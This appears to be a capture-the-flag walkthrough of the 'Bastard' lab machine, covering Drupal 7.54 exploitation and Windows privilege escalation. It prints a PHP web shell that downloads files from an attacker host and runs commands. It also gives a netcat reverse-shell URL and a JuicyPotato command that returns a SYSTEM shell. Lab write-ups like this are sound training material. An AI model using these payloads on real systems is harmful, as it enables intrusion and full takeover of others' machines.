Bastard

Summary

• Only a few ports open: IIS on port 80 and MSRPC services on 135 and 49154.

• Detected Drupal 7.54 running on the webserver, confirmed with droopescan.

• Exploited Drupal REST API file upload vulnerability (CVE-2017-6347 via exploit-db 41564).

• Gained a web shell by chaining file upload and remote execution logic into one payload.

• Delivered nc64.exe via HTTP and got reverse shell.

• Privilege escalation achieved using JuicyPotato with known CLSID for local privilege escalation.

Initial Foothold

1. Used Exploit-DB 41564, a Drupal REST API RCE, to upload a PHP web shell.

2. Modified exploit’s $file and $phpCode to:

   • Validate upload via test payload (echo "Dhawan was here!")

   • Then swapped in the full reverse shell controller:

<?php
    if (isset($_REQUEST['fupload'])) {
        file_put_contents($_REQUEST['fupload'], file_get_contents("http://10.10.14.18:8888/" . $_REQUEST['fupload']));
    };
    if (isset($_REQUEST['fexec'])) {
        echo "<pre>" . shell_exec($_REQUEST['fexec']) . "</pre>";
    };
?>

1. Used this controller to upload nc64.exe and execute it:

http://10.10.10.9/vry4n.php?fupload=nc64.exe&fexec=nc64.exe -e cmd 10.10.14.12 7777

• Reverse shell established! 👏

Privilege Escalation

Tried multiple methods (GodPotato, PrintSpoofer, post-exploit suggester), none worked.

Finally used JuicyPotato exploit with correct CLSID:

JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\inetpub\drupal-7.54\nc64.exe -e cmd.exe 10.10.14.18 555" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

• Reverse shell on port 555 gave SYSTEM access.
